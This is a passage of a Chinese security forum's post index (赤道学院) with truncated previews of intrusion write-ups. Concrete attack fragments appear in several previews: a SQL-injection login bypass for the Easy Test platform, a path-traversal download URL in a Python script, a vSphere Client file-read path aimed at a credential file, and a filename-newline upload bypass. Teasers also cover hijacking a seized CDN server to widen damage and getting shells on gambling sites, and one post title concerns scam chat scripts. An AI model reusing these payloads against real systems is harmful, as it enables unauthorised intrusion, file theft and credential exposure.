论坛首页-赤道学院

18天前发布17次阅读

CVE-2020-1472 zerologon

该版块内容已隐藏，请登录后查看

登录后继续查看

评分

18天前发布7次阅读

记一次CDN缓存服务器（nginx反向代理）劫持数据的经过

此篇文章用于记录一次拿下了某个CDN节点服务器，现在需要利用这台CDN服务器扩大危害。首先目标服务器安装了Nginx并且做了反向代...

记一次CDN缓存服务器（nginx反向代理）劫持数据的经过-赤道学院

记一次CDN缓存服务器（nginx反向代理）劫持数据的经过-赤道学院

记一次CDN缓存服务器（nginx反向代理）劫持数据的经过-赤道学院

+5

记一次CDN缓存服务器（nginx反向代理）劫持数据的经过-赤道学院

评分

18天前发布8次阅读

利用protoplex+frsocks进行协议分流实现HTTP+Socket5代理

1. frsocks 执行frsocks -sockstype fsocks -listen 1080 2. protoplex 执行127.0.0.1:8080 为http得端口，比如：nginx是原先用...

利用protoplex+frsocks进行协议分流实现HTTP+Socket5代理-赤道学院

评分

18天前发布9次阅读

Easy test 线上学习测验平台ASP版本SQL注入

直接访问：http://1.1.1.1/user/输入：admin'--a 密码随意登陆成功

Easy test 线上学习测验平台ASP版本SQL注入-赤道学院

Easy test 线上学习测验平台ASP版本SQL注入-赤道学院

Easy test 线上学习测验平台ASP版本SQL注入-赤道学院

评分

18天前发布8次阅读

利用Python通过任意文件读取漏洞下载大型源码

import requests
import urllib3
url = "https://xxxxx?realname=../../../../../../../../root/ROOT.war&downloadName=test.jpg&downloadPath=/usr/"
file_path = "C:\\Users\\Administrator\\Desktop\\ROOT.war"

评分

18天前发布4次阅读

YamiiFlow 电子公文系统任意文件读取漏洞

注入漏洞：所用语言：ASP 语言注入类型：堆叠注入，报错注入，联合查询相信各位应该都看到过这样的下载方式：https://hackdoor.o...

YamiiFlow 电子公文系统任意文件读取漏洞-赤道学院

YamiiFlow 电子公文系统任意文件读取漏洞-赤道学院

YamiiFlow 电子公文系统任意文件读取漏洞-赤道学院

+6

YamiiFlow 电子公文系统任意文件读取漏洞-赤道学院

评分

18天前发布5次阅读

YamiiFlow 電子公文系统未授权上传Getshell

第一处：文件位置：/yamiiflow/Bulletin/default_doc.asp在Header中添加来源：Referer： xxxxxxx否则将无法打开。随后打开：http...

YamiiFlow 電子公文系统未授权上传Getshell-赤道学院

评分

18天前发布6次阅读

记一次非DBA注入+动态下载实现任意文件读取

注入漏洞：所用语言：ASP 语言注入类型：堆叠注入，报错注入，联合查询相信各位应该都看到过这样的下载方式：https://hackdoor.o...

记一次非DBA注入+动态下载实现任意文件读取-赤道学院

记一次非DBA注入+动态下载实现任意文件读取-赤道学院

记一次非DBA注入+动态下载实现任意文件读取-赤道学院

+6

记一次非DBA注入+动态下载实现任意文件读取-赤道学院

评分

18天前发布7次阅读

记一次利用回车绕过拦截上传并代码审计原因

容器环境：Apache解析器：PHPContent-Disposition: form-data; name="myfile[]"; filename="phpinfo.php
.jpg"
Content-Type: im...

记一次利用回车绕过拦截上传并代码审计原因-赤道学院

记一次利用回车绕过拦截上传并代码审计原因-赤道学院

记一次利用回车绕过拦截上传并代码审计原因-赤道学院

+6

记一次利用回车绕过拦截上传并代码审计原因-赤道学院

评分

18天前更新13次阅读

记一次 VSphere Client 任意文件读取漏洞的利用过程

前端长这样：方法如下：访问连接1.1.1.1/eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties会读...

记一次 VSphere Client 任意文件读取漏洞的利用过程-赤道学院

记一次 VSphere Client 任意文件读取漏洞的利用过程-赤道学院

记一次 VSphere Client 任意文件读取漏洞的利用过程-赤道学院

记一次 VSphere Client 任意文件读取漏洞的利用过程-赤道学院

评分

17天前发布5次阅读

Easy Test【ASP版本】某处登录后任意文件上传漏洞

该版块内容已隐藏

以下用户组可查看

特殊会员

登录后查看我的权限

评分

17天前发布6次阅读

【华丽通讯IM】渗透信息收集

该版块内容已隐藏

以下用户组可查看

特殊会员

登录后查看我的权限

评分

17天前发布6次阅读

聊天话术之杀猪盘被骗100多万,经历两天的聊天拉扯成功上线。

该版块内容已隐藏

以下用户组可查看

特殊会员

登录后查看我的权限

评分

17天前发布6次阅读

某后台为desk的企业建站源码任意文件上传

该版块内容已隐藏

以下用户组可查看

特殊会员

登录后查看我的权限

评分

17天前发布7次阅读

某理财程序(BC)联合多处功能Getshell

该版块内容已隐藏

以下用户组可查看

特殊会员

登录后查看我的权限

评分

17天前发布6次阅读

C段端口扫描工具

输入URL地址或者 IP地址，不可单独输入域名，比如：www.chinacycc.com 必须为：http://www.chinacycc.com 或者 1.1.1.1有报错...

+1

评分

17天前发布7次阅读

Easy Test【ASP版本】某处登录后任意文件上传漏洞

漏洞位置：/online_test/jinwen/add_pic.asp源代码

<% Set objUpload = new SundyUpload xmlPath = Server.MapPath("1.xml") objUpload.UploadInit xmlPath,"utf-8" F...

评分

17天前发布6次阅读

Fofa图形化工具

快速添加查询命令 20250927220401157.zip下载zip文件398.3K

评分

17天前发布6次阅读

利用appcmd修改IIS程序池运行权限

官网文档: https://docs.microsoft.com/en-us/iis/manage/configuring-security/application-pool-identities修改程序池：".NET...

利用appcmd修改IIS程序池运行权限-赤道学院

评分

17天前发布7次阅读

记一次实践SQL server CLR命令执行过程

CLR简介共语言运行库 (CLR) 是 .NET Framework 的核心，为所有 .NET Framework 代码提供执行环境。在 CLR 中运行的代码称为托管...

记一次实践SQL server CLR命令执行过程-赤道学院

记一次实践SQL server CLR命令执行过程-赤道学院

记一次实践SQL server CLR命令执行过程-赤道学院

+12

记一次实践SQL server CLR命令执行过程-赤道学院

评分

12 3…8 下一页

话题列表